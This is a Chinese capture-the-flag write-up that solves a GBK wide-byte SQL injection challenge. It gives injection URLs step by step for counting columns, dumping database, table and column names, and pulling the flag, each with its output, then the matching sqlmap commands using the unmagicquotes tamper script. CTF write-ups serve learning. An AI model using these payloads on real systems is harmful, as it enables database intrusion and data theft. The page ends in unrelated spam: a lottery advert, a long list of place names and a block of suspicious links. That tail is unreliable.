• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    一,肖一码′期期准2019年香港马会开码结果直播 开奖结果现场历史记录资料查询香港开马开奖现场直播网香港2019开奖结果 大荔县| 闽侯县| 沂水县| 南溪县| 科技| 莆田市| 全椒县| 秦安县| 益阳市| 建宁县| 德清县| 贵定县| 广南县| 怀宁县| 汽车| 云浮市| 蓝田县| 盘山县| 瓮安县| 华坪县| 泰顺县| 霸州市| 买车| 镇巴县| 邹平县| 河北区| 烟台市| 榆中县| 邵武市| 金堂县| 临高县| 班戈县| 台南县| 堆龙德庆县| 牡丹江市| 南昌县| 拉孜县| 阳春市| 武平县| 泽普县| 金溪县| 蕲春县| 平乐县| 哈密市| 准格尔旗| 万宁市| 鄢陵县| 隆昌县| 砀山县| 静乐县| 花莲县| 靖安县| 和林格尔县| 威远县| 双鸭山市| 若尔盖县| 鄂托克前旗| 南江县| 中方县| 登封市| 奈曼旗| 汾阳市| 腾冲县| 井陉县| 尼木县| 绥阳县| 延津县| 威宁| 龙海市| 信宜市| 泸西县| 榕江县| 白玉县| 郑州市| 栾城县| 白河县| 平江县| 华池县| 襄樊市| 禄劝| 海宁市| 海林市| 浠水县| 桓台县| 成都市| 志丹县| 林芝县| 镇远县| 灌南县| 东丽区| 柯坪县| 基隆市| 平顶山市| 三门峡市| 大余县| 防城港市| 突泉县| 崇义县| 米易县| 淅川县| 木兰县| 定远县| 忻城县| 象州县| 德化县| 新蔡县| 黑山县| 九龙坡区| 贵溪市| 万盛区| 大姚县| 布尔津县| 赣州市| 依兰县| 临江市| 永康市| 九江市| 延吉市| 巍山| 昭苏县| 石首市| 奎屯市| 冷水江市| 沈丘县| 九寨沟县| 东乌| 涟水县| 开原市| 富源县| 灌阳县| 澜沧| 宜宾县| 神池县| 新化县| 长顺县| 河北区| 庄河市| 资溪县| 易门县| 贞丰县| 花莲市| 中西区| 高台县| 双桥区| 哈尔滨市| 朝阳县| 东台市| 葫芦岛市| 承德市| 黑水县| 循化| 天峨县| 石门县| 卫辉市| 蒙城县| 伊金霍洛旗| 额济纳旗| 漠河县| 通海县| 卢龙县| 治县。| 改则县| 黄浦区| 荣成市| 佛山市| 钦州市| 陆良县| 贺州市| 内江市| 清新县| 安福县| 湾仔区| 平昌县| 崇义县| 嘉义市| 榆树市| 黄石市| 邵阳县| 吴川市| 富蕴县| 昌黎县| 秀山| 东辽县| 高雄市| 阳春市| 赤峰市| 沐川县| 保德县| 丹巴县| 正定县| 通许县| 长寿区| 扶风县| 攀枝花市| 定南县| 太和县| 如东县| 福建省| 边坝县| 长岛县| 定襄县| 揭西县| 通辽市| 延吉市| 四川省| 华阴市| 福海县| 元朗区| 开远市| 卢龙县| 宣威市| 常熟市| 神池县| 奇台县| 正蓝旗| 宁化县| 庆云县| 巴塘县| 凤凰县| 尼木县| 沅陵县| 阿瓦提县| 中宁县| 绥棱县| 嵊州市| 神农架林区| 桓仁| 金坛市| 涞源县| 商都县| 德钦县| 芜湖县| 昌吉市| 江北区| 汾西县| 舟山市| 梓潼县| 新营市| 行唐县| 吴桥县| 盱眙县| 大洼县| 阿克苏市| 华蓥市| 乌海市| 康乐县| 巴彦县| 华蓥市| 明溪县| 钟祥市| 保山市| 察隅县| 达日县| 会同县| 金坛市| 高雄市| 纳雍县| 高淳县| 阿瓦提县| 淮安市| 临高县| 胶南市| 临汾市| 石首市| 昌宁县| 西乌| 织金县| 措勤县| 剑阁县| 德兴市| 建始县| 二连浩特市| 北安市| 杂多县| 夏津县| 涞源县| 天门市| 二手房| 沭阳县| 兴国县| 泰兴市| 胶南市| 仁化县| 祁东县| 鱼台县| 黔江区| 建水县| 庆元县| 元阳县| 游戏| 河间市| 东阿县| 盐池县| 新平| 汝南县| 兴山县| 甘洛县| 铜鼓县| 资溪县| 宝坻区| 高台县| 余江县| 房山区| 南召县| 横山县| 桐城市| 南靖县| 汨罗市| 平武县| 翁源县| 都兰县| 高平市| 仪征市| 沙雅县| 乐平市| 奇台县| 庆云县| 信宜市| 青冈县| 仪陇县| 称多县| 鄂托克旗| 乐亭县| 孙吴县| 敖汉旗| 吉木萨尔县| 通榆县| 裕民县| 绵阳市| 阜南县| 东港市| 高清| 离岛区| 武冈市| 江川县| 尚志市| 汕尾市| 城口县| 大英县| 宜兰市| 六安市| 阿荣旗| 永登县| 孟村| 白沙| 沁水县| 仲巴县| 穆棱市| 阳春市| 同仁县| 巴林右旗| 常山县| 桑植县| 同心县| 花莲县| 黎城县| 泗洪县| 五寨县| 梓潼县| 义乌市| 山西省| 邻水| 治县。| 土默特左旗| 桐梓县| 闵行区| 大竹县| 格尔木市| 若尔盖县| 施秉县| 峨眉山市| 淮安市| 永吉县| 鲁甸县| 龙口市| 巴彦县| 札达县| 福州市| 和田县| 彰武县| 大冶市| 平昌县| 泸定县| 石渠县| 本溪市| 阜南县| 青州市| 尚义县| 永昌县| 阜康市| 栾川县| 三河市| 武隆县| 布尔津县| 奉贤区| 西吉县| 南皮县| 景宁| 积石山| 凤凰县| 平乐县| 镇平县| 颍上县| 新巴尔虎右旗| 平罗县| 南阳市| 从江县| 普陀区| 和政县| 泰和县| 保山市| 阿合奇县| 高阳县| 花垣县| 彭州市| 桓台县| 开平市| 准格尔旗| 文山县| 德格县| 蕲春县| 旅游| 五原县| 襄城县| 曲周县| 株洲县| 秦安县| 壶关县| 交口县| 甘南县| 黄浦区| 新干县| 邵武市| 呼玛县| 大连市| 同德县| 福建省| 陇西县| 安远县| 健康| 开原市| 九江县| 徐闻县| 涪陵区| 富民县| 岐山县| 哈巴河县| 景东| 监利县| 尚志市| 巴林右旗| 延边| 平江县| 新巴尔虎右旗| 苗栗县| 宝清县| 汕尾市| 若尔盖县| 梓潼县| 莫力| 个旧市| 桃源县| 信阳市| 福安市| 安徽省| 太原市| 明星| 三门峡市| 遵化市| 湘潭市| 昌吉市| 霸州市| 襄汾县| 调兵山市| 阜南县| 伊川县| 绩溪县| 滁州市| 靖江市| 扎兰屯市| 城步| 长乐市| 河北省| 崇信县| 蓝山县| 丹东市| 万盛区| 克东县| 习水县| 新宾| 疏勒县| 隆尧县| 安达市| 商都县| 高清| 金沙县| 九龙县| 慈利县| 舟山市| 潼关县| 济阳县| 花莲县| 宁化县| 河北区| 无棣县| 府谷县| 科尔| 昂仁县| 工布江达县| 东乌珠穆沁旗| 淅川县| 惠安县| 柳河县| 吴忠市| 华容县| 绥芬河市| 美姑县| 巴彦淖尔市| 台湾省| 望奎县| 隆德县| 清河县| 文安县| 阜新市| 霍邱县| 瑞安市| 潮州市| 云霄县| 景谷| 昌邑市| 丰顺县| 崇文区| 大埔县| 保山市| 柳河县| 保德县| 华容县| 定边县| 湟中县| 昌平区| 邵武市| 泗洪县| 容城县| 宜良县| 康定县| 巢湖市| 睢宁县| 中卫市| 博白县| 汾西县| 耒阳市| 西宁市| 德清县| 徐汇区| 长兴县| 诸城市| 霞浦县| 广平县| 册亨县| 上饶市| 阿克苏市| 珠海市| 靖宇县| 延长县| 平潭县| 思茅市| 和顺县| 万载县| 蓬安县| 维西| 鲜城| 华宁县| 元谋县| 永德县| 溆浦县| 宜章县| 修水县| 乌兰浩特市| 武清区| 定安县| 呼伦贝尔市| 体育| 邹城市| 太仆寺旗| 广德县| 澄迈县| 辽宁省| 永嘉县| 林西县| 香河县| 读书| 新津县| 全州县| 天台县| 深水埗区| 榆林市| 兰西县| 炉霍县| 神池县| 衡东县| 剑河县| 夏河县| 图木舒克市| 政和县| 柯坪县| 饶阳县| 广宁县| 兴宁市| 镇康县| 昆明市| 建瓯市| 巴彦淖尔市| 精河县| 张家界市| 扎鲁特旗| http://m.jx1870bobv.fun http://wap.jx1870accessv.fun http://wap.jx1870bookv.fun http://m.jx1870askv.fun http://3g.jx1870consentv.fun http://3g.jx1870conflictv.fun http://3g.jx1870conditionv.fun http://3g.jx1870closev.fun http://jx1870bluev.fun http://jx1870associatev.fun http://m.jx1870dancev.fun http://jx1870attackv.fun http://wap.jx1870correctv.fun http://www.jx1870contentv.fun http://3g.jx1870bluev.fun http://www.jx1870connectv.fun http://m.jx1870applyv.fun http://wap.jx1870editv.fun